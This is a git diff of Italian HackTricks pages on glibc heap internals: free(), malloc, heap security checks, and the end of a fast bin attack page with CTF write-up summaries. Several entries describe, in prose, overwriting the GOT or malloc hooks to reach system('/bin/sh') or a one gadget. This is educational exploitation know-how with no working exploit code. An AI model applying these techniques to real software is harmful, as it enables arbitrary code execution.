* **Attacco fast bin**: Tutti i puntatori alle allocazioni sono memorizzati all'interno di un array, quindi possiamo liberare un paio di chunk fast bin e nell'ultimo sovrascrivere l'indirizzo per puntare un po' prima di questo array di puntatori. Quindi, allocare un paio di chunk con la stessa dimensione e otterremo prima quello legittimo e poi quello falso contenente l'array di puntatori. Ora possiamo sovrascrivere questi puntatori di allocazione per fare in modo che l'indirizzo GOT di `free` punti a `system` e quindi scrivere `"/bin/sh"` nel chunk 1 per poi chiamare `free(chunk1)` che invece eseguirà `system("/bin/sh")`. * **Attacco fast bin**: Tutti i puntatori alle allocazioni sono memorizzati all'interno di un array, quindi possiamo liberare un paio di chunk fast bin e nell'ultimo sovrascrivere l'indirizzo per puntare un po' prima di questo array di puntatori. Quindi, allocare un paio di chunk con la stessa dimensione e otterremo prima quello legittimo e poi quello falso contenente l'array di puntatori. Ora possiamo sovrascrivere questi puntatori di allocazione per fare in modo che l'indirizzo GOT di `free` punti a `system` e quindi scrivere `"/bin/sh"` nel chunk 1 per poi chiamare `free(chunk1)` che invece eseguirà `system("/bin/sh")`.
* **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html) * **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html)
* Un altro esempio di abuso di un overflow di un byte per consolidare chunk nell'unsorted bin e ottenere un leak di info su libc e quindi eseguire un attacco fast bin per sovrascrivere l'hook di malloc con un indirizzo one gadget * Un altro esempio di abuso di un overflow di un byte per consolidare chunk nell'unsorted bin e ottenere un infoleak di libc e quindi eseguire un attacco fast bin per sovrascrivere l'hook di malloc con un indirizzo one gadget
* **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html) * **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html)
* Dopo un infoleak abusando dell'unsorted bin con un UAF per leakare un indirizzo libc e un indirizzo PIE, lo sfruttamento di questo CTF ha utilizzato un attacco fast bin per allocare un chunk in un punto in cui erano situati i puntatori ai chunk controllati, quindi è stato possibile sovrascrivere certi puntatori per scrivere un one gadget nella GOT * Dopo un infoleak abusando dell'unsorted bin con un UAF per leakare un indirizzo libc e un indirizzo PIE, lo sfruttamento di questo CTF ha utilizzato un attacco fast bin per allocare un chunk in un punto in cui erano situati i puntatori ai chunk controllati, quindi è stato possibile sovrascrivere certi puntatori per scrivere un one gadget nella GOT
* È possibile trovare un attacco Fast Bin abusato attraverso un attacco unsorted bin: * È possibile trovare un attacco Fast Bin abusato attraverso un attacco unsorted bin:
* Nota che è comune prima di eseguire attacchi fast bin abusare delle liste di liberazione per leakare indirizzi libc/heap (quando necessario). * Nota che è comune prima di eseguire attacchi fast bin abusare delle liste di liberazione per leakare indirizzi libc/heap (quando necessario).
* [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) * [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
* Possiamo allocare solo chunk di dimensione maggiore di `0x100`. * Possiamo allocare solo chunk di dimensione maggiore di `0x100`.
* Sovrascrivere `global_max_fast` utilizzando un attacco Unsorted Bin (funziona 1 volta su 16 a causa di ASLR, poiché dobbiamo modificare 12 bit, ma dobbiamo modificare 16 bit). * Sovrascrivere `global_max_fast` utilizzando un attacco Unsorted Bin (funziona 1 volta su 16 a causa di ASLR, perché dobbiamo modificare 12 bit, ma dobbiamo modificare 16 bit).
* Attacco Fast Bin per modificare un array globale di chunk. Questo fornisce un primitivo di lettura/scrittura arbitrario, che consente di modificare la GOT e impostare alcune funzioni per puntare a `system`. * Attacco Fast Bin per modificare un array globale di chunk. Questo fornisce un primitivo di lettura/scrittura arbitrario, che consente di modificare la GOT e impostare alcune funzioni per puntare a `system`.
{% content-ref url="unsorted-bin-attack.md" %} {% content-ref url="unsorted-bin-attack.md" %}
[unsorted-bin-attack.md](unsorted-bin-attack.md) [unsorted-bin-attack.md](unsorted-bin-attack.md)
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
{% endhint %}

View file

@ -1,17 +1,33 @@
# Funzioni di Memoria Heap # Funzioni di Memoria Heap
{% hint style="success" %}
Impara e pratica l'Hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github. * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
## ##
{% hint style="success" %}
Impara e pratica l'Hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Sostieni HackTricks</summary>
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e ai repository di [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,25 +1,26 @@
# free # free
{% hint style="success" %}
Impara e pratica l'hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## Riepilogo dell'Ordine Gratuito <a href="#libc_free" id="libc_free"></a> ## Riepilogo Ordine Gratuito <a href="#libc_free" id="libc_free"></a>
(Nessun controllo è spiegato in questo riepilogo e alcuni casi sono stati omessi per brevità) (Nessun controllo è spiegato in questo riepilogo e alcuni casi sono stati omessi per brevità)
1. Se l'indirizzo è nullo, non fare nulla 1. Se l'indirizzo è nullo, non fare nulla
2. Se il chunk è stato mappato con mmap, unmappalo e finisci 2. Se il chunk è stato mappato, smapparlo e terminare
3. Chiama `_int_free`: 3. Chiama `_int_free`:
1. Se possibile, aggiungi il chunk al tcache 1. Se possibile, aggiungi il chunk al tcache
2. Se possibile, aggiungi il chunk al fast bin 2. Se possibile, aggiungi il chunk al fast bin
@ -31,7 +32,7 @@ Altri modi per supportare HackTricks:
* Se l'indirizzo passato è Null (0) non fare nulla. * Se l'indirizzo passato è Null (0) non fare nulla.
* Controlla il tag del puntatore * Controlla il tag del puntatore
* Se il chunk è `mappato`, `unmappalo` e basta * Se il chunk è `mappato`, `smappalo` e basta
* Se no, aggiungi il colore e chiama `_int_free` su di esso * Se no, aggiungi il colore e chiama `_int_free` su di esso
<details> <details>
@ -191,7 +192,7 @@ Successivamente, aggiungi il chunk liberato in cima al fast bin mentre esegui al
* Se la dimensione del chunk non è valida (troppo grande o piccola) scatena: `free(): invalid next size (fast)` * Se la dimensione del chunk non è valida (troppo grande o piccola) scatena: `free(): invalid next size (fast)`
* Se il chunk aggiunto era già in cima al fast bin: `double free or corruption (fasttop)` * Se il chunk aggiunto era già in cima al fast bin: `double free or corruption (fasttop)`
* Se la dimensione del chunk in cima ha una dimensione diversa rispetto al chunk che stiamo aggiungendo: `invalid fastbin entry (free)` * Se la dimensione del chunk in cima ha una dimensione diversa dal chunk che stiamo aggiungendo: `invalid fastbin entry (free)`
<details> <details>
@ -279,6 +280,10 @@ malloc_printerr ("invalid fastbin entry (free)");
### _int_free finale <a href="#int_free" id="int_free"></a> ### _int_free finale <a href="#int_free" id="int_free"></a>
Se il chunk non era ancora allocato su nessun bin, chiama `_int_free_merge_chunk` Se il chunk non era ancora allocato su nessun bin, chiama `_int_free_merge_chunk`
<details>
<summary>_int_free finale</summary>
```c ```c
/* /*
Consolidate other non-mmapped chunks as they arrive. Consolidate other non-mmapped chunks as they arrive.
@ -373,16 +378,17 @@ _int_free_maybe_consolidate (av, size);
``` ```
</details> </details>
{% hint style="success" %}
**Impara e pratica l'hacking su AWS:**<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
**Impara e pratica l'hacking su GCP:** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) nei repository di Github.
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Controlli di sicurezza delle funzioni di heap # Controlli di sicurezza delle funzioni di heap
{% hint style="success" %}
Impara e pratica l'hacking di AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'hacking di GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
{% endhint %}
## unlink ## unlink
@ -25,11 +26,11 @@ Per ulteriori informazioni controlla:
Questo è un riassunto dei controlli eseguiti: Questo è un riassunto dei controlli eseguiti:
* Controlla se la dimensione indicata del chunk è la stessa di `prev_size` indicata nel chunk successivo * Controlla se la dimensione indicata del chunk è la stessa di `prev_size` indicata nel chunk successivo
* Messaggio di errore: `dimensione corrotta rispetto a prev_size` * Messaggio di errore: `dimensione danneggiata rispetto a prev_size`
* Controlla anche che `P->fd->bk == P` e `P->bk->fw == P` * Controlla anche che `P->fd->bk == P` e `P->bk->fw == P`
* Messaggio di errore: `lista doppiamente collegata corrotta` * Messaggio di errore: `lista doppiamente collegata danneggiata`
* Se il chunk non è piccolo, controlla che `P->fd_nextsize->bk_nextsize == P` e `P->bk_nextsize->fd_nextsize == P` * Se il chunk non è piccolo, controlla che `P->fd_nextsize->bk_nextsize == P` e `P->bk_nextsize->fd_nextsize == P`
* Messaggio di errore: `lista doppiamente collegata corrotta (non piccolo)` * Messaggio di errore: `lista doppiamente collegata danneggiata (non piccola)`
## \_int\_malloc ## \_int\_malloc
@ -45,35 +46,35 @@ Per ulteriori informazioni controlla:
* Se il chunk successivo è non allineato: * Se il chunk successivo è non allineato:
* Messaggio di errore: `malloc(): rilevato chunk fastbin non allineato` * Messaggio di errore: `malloc(): rilevato chunk fastbin non allineato`
* Se il chunk restituito ha una dimensione non corretta a causa del suo indice nel fast bin: * Se il chunk restituito ha una dimensione non corretta a causa del suo indice nel fast bin:
* Messaggio di errore: `malloc(): corruzione di memoria (veloce)` * Messaggio di errore: `malloc(): corruzione della memoria (veloce)`
* Se un qualsiasi chunk utilizzato per riempire il tcache è non allineato: * Se un qualsiasi chunk utilizzato per riempire il tcache è non allineato:
* Messaggio di errore: `malloc(): rilevato chunk fastbin non allineato 3` * Messaggio di errore: `malloc(): rilevato chunk fastbin non allineato 3`
* **Controlli durante la ricerca del small bin:** * **Controlli durante la ricerca del small bin:**
* Se `victim->bk->fd != victim`: * Se `victim->bk->fd != victim`:
* Messaggio di errore: `malloc(): lista doppiamente collegata smallbin corrotta` * Messaggio di errore: `malloc(): lista doppiamente collegata smallbin danneggiata`
* **Controlli durante la consolidazione** eseguiti per ogni chunk del fast bin:&#x20; * **Controlli durante la consolidazione** eseguiti per ogni chunk del fast bin:&#x20;
* Se il chunk è non allineato attiva: * Se il chunk è non allineato attiva:
* Messaggio di errore: `malloc_consolidate(): rilevato chunk fastbin non allineato` * Messaggio di errore: `malloc_consolidate(): rilevato chunk fastbin non allineato`
* Se il chunk ha una dimensione diversa da quella che dovrebbe a causa dell'indice in cui si trova: * Se il chunk ha una dimensione diversa da quella che dovrebbe a causa dell'indice in cui si trova:
* Messaggio di errore: `malloc_consolidate(): dimensione chunk non valida` * Messaggio di errore: `malloc_consolidate(): dimensione del chunk non valida`
* Se il chunk precedente non è in uso e il chunk precedente ha una dimensione diversa da quella indicata da prev\_chunk: * Se il chunk precedente non è in uso e il chunk precedente ha una dimensione diversa da quella indicata da prev\_chunk:
* Messaggio di errore: `dimensione corrotta rispetto a prev_size in fastbins` * Messaggio di errore: `dimensione danneggiata rispetto a prev_size in fastbins`
* **Controlli durante la ricerca del unsorted bin**: * **Controlli durante la ricerca del unsorted bin**:
* Se la dimensione del chunk è strana (troppo piccola o troppo grande):&#x20; * Se la dimensione del chunk è strana (troppo piccola o troppo grande):&#x20;
* Messaggio di errore: `malloc(): dimensione non valida (non ordinata)` * Messaggio di errore: `malloc(): dimensione non valida (non ordinata)`
* Se la dimensione del chunk successivo è strana (troppo piccola o troppo grande): * Se la dimensione del chunk successivo è strana (troppo piccola o troppo grande):
* Messaggio di errore: `malloc(): dimensione successiva non valida (non ordinata)` * Messaggio di errore: `malloc(): dimensione successiva non valida (non ordinata)`
* Se la dimensione precedente indicata dal chunk successivo è diversa dalla dimensione del chunk: * Se la dimensione precedente indicata dal chunk successivo differisce dalla dimensione del chunk:
* Messaggio di errore: `malloc(): dimensione next->prev non corrispondente (non ordinata)` * Messaggio di errore: `malloc(): dimensione next->prev non corrispondente (non ordinata)`
* Se non `victim->bck->fd == victim` o non `victim->fd == av (arena)`: * Se non `victim->bck->fd == victim` o non `victim->fd == av (arena)`:
* Messaggio di errore: `malloc(): lista doppiamente collegata non ordinata corrotta` * Messaggio di errore: `malloc(): lista doppiamente collegata non ordinata danneggiata`
* Poiché stiamo sempre controllando l'ultimo, il suo fd dovrebbe puntare sempre alla struttura arena. * Poiché stiamo sempre controllando l'ultimo, il suo fd dovrebbe puntare sempre alla struttura arena.
* Se il chunk successivo non indica che il precedente è in uso: * Se il chunk successivo non indica che il precedente è in uso:
* Messaggio di errore: `malloc(): next->prev_inuse non valido (non ordinato)` * Messaggio di errore: `malloc(): next->prev_inuse non valido (non ordinato)`
* Se `fwd->bk_nextsize->fd_nextsize != fwd`: * Se `fwd->bk_nextsize->fd_nextsize != fwd`:
* Messaggio di errore: `malloc(): lista doppiamente collegata largebin corrotta (nextsize)` * Messaggio di errore: `malloc(): lista doppiamente collegata largebin danneggiata (nextsize)`
* Se `fwd->bk->fd != fwd`: * Se `fwd->bk->fd != fwd`:
* Messaggio di errore: `malloc(): lista doppiamente collegata largebin corrotta (bk)` * Messaggio di errore: `malloc(): lista doppiamente collegata largebin danneggiata (bk)`
* **Controlli durante la ricerca del large bin (per indice):** * **Controlli durante la ricerca del large bin (per indice):**
* `bck->fd-> bk != bck`: * `bck->fd-> bk != bck`:
* Messaggio di errore: `malloc(): chunk non ordinati corrotti` * Messaggio di errore: `malloc(): chunk non ordinati corrotti`
@ -123,7 +124,7 @@ Per ulteriori informazioni controlla:
* Se il chunk liberato era già stato liberato e è presente come chunk nel tcache: * Se il chunk liberato era già stato liberato e è presente come chunk nel tcache:
* Messaggio di errore: `free(): doppia liberazione rilevata nel tcache 2` * Messaggio di errore: `free(): doppia liberazione rilevata nel tcache 2`
* **Controlli in `_int_free` fast bin:** * **Controlli in `_int_free` fast bin:**
* Se la dimensione del chunk non è valida (troppo grande o piccola) attiva: * Se la dimensione del chunk è non valida (troppo grande o piccola) attiva:
* Messaggio di errore: `free(): dimensione successiva non valida (veloce)` * Messaggio di errore: `free(): dimensione successiva non valida (veloce)`
* Se il chunk aggiunto era già in cima al fast bin: * Se il chunk aggiunto era già in cima al fast bin:
* Messaggio di errore: `doppia liberazione o corruzione (fasttop)` * Messaggio di errore: `doppia liberazione o corruzione (fasttop)`

View file

@ -1,18 +1,19 @@
# malloc & sysmalloc # malloc & sysmalloc
{% hint style="success" %}
Impara e pratica l'hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
{% endhint %}
## Riassunto dell'Ordine di Allocazione <a href="#libc_malloc" id="libc_malloc"></a> ## Riassunto dell'Ordine di Allocazione <a href="#libc_malloc" id="libc_malloc"></a>
@ -25,21 +26,21 @@ Altri modi per supportare HackTricks:
1. Riempie la tcache con altri chunk fast 1. Riempie la tcache con altri chunk fast
3. Se c'è un chunk small bin della dimensione corretta, lo usa 3. Se c'è un chunk small bin della dimensione corretta, lo usa
1. Riempie la tcache con altri chunk di quella dimensione 1. Riempie la tcache con altri chunk di quella dimensione
4. Se la dimensione richiesta non è per i small bin, consolida il fast bin nel bin non ordinato 4. Se la dimensione richiesta non è per i small bin, consolidare il fast bin nell'unsorted bin
5. Controlla il bin non ordinato, usa il primo chunk con abbastanza spazio 5. Controlla l'unsorted bin, usa il primo chunk con abbastanza spazio
1. Se il chunk trovato è più grande, dividilo per restituire una parte e aggiungi il resto al bin non ordinato 1. Se il chunk trovato è più grande, dividilo per restituire una parte e aggiungi il resto all'unsorted bin
2. Se un chunk è della stessa dimensione della dimensione richiesta, usalo per riempire la tcache invece di restituirlo (fino a quando la tcache è piena, quindi restituisci il successivo) 2. Se un chunk è della stessa dimensione della dimensione richiesta, usalo per riempire la tcache invece di restituirlo (fino a quando la tcache è piena, quindi restituisci il successivo)
3. Per ogni chunk di dimensione più piccola controllato, mettilo nel rispettivo bin small o large 3. Per ogni chunk di dimensione più piccola controllato, mettilo nel rispettivo small o large bin
6. Controlla il bin large nell'indice della dimensione richiesta 6. Controlla il large bin nell'indice della dimensione richiesta
1. Inizia a cercare dal primo chunk più grande della dimensione richiesta, se ne trovi uno restituiscilo e aggiungi i resti al bin small 1. Inizia a cercare dal primo chunk più grande della dimensione richiesta, se ne trovi uno restituiscilo e aggiungi i resti al small bin
7. Controlla i bin large dai prossimi indici fino alla fine 7. Controlla i large bin dai prossimi indici fino alla fine
1. Dal prossimo indice più grande controlla se c'è un chunk, divide il primo chunk trovato per usarlo per la dimensione richiesta e aggiungi il resto al bin non ordinato 1. Dal prossimo indice più grande controlla per eventuali chunk, divide il primo chunk trovato per usarlo per la dimensione richiesta e aggiungi il resto all'unsorted bin
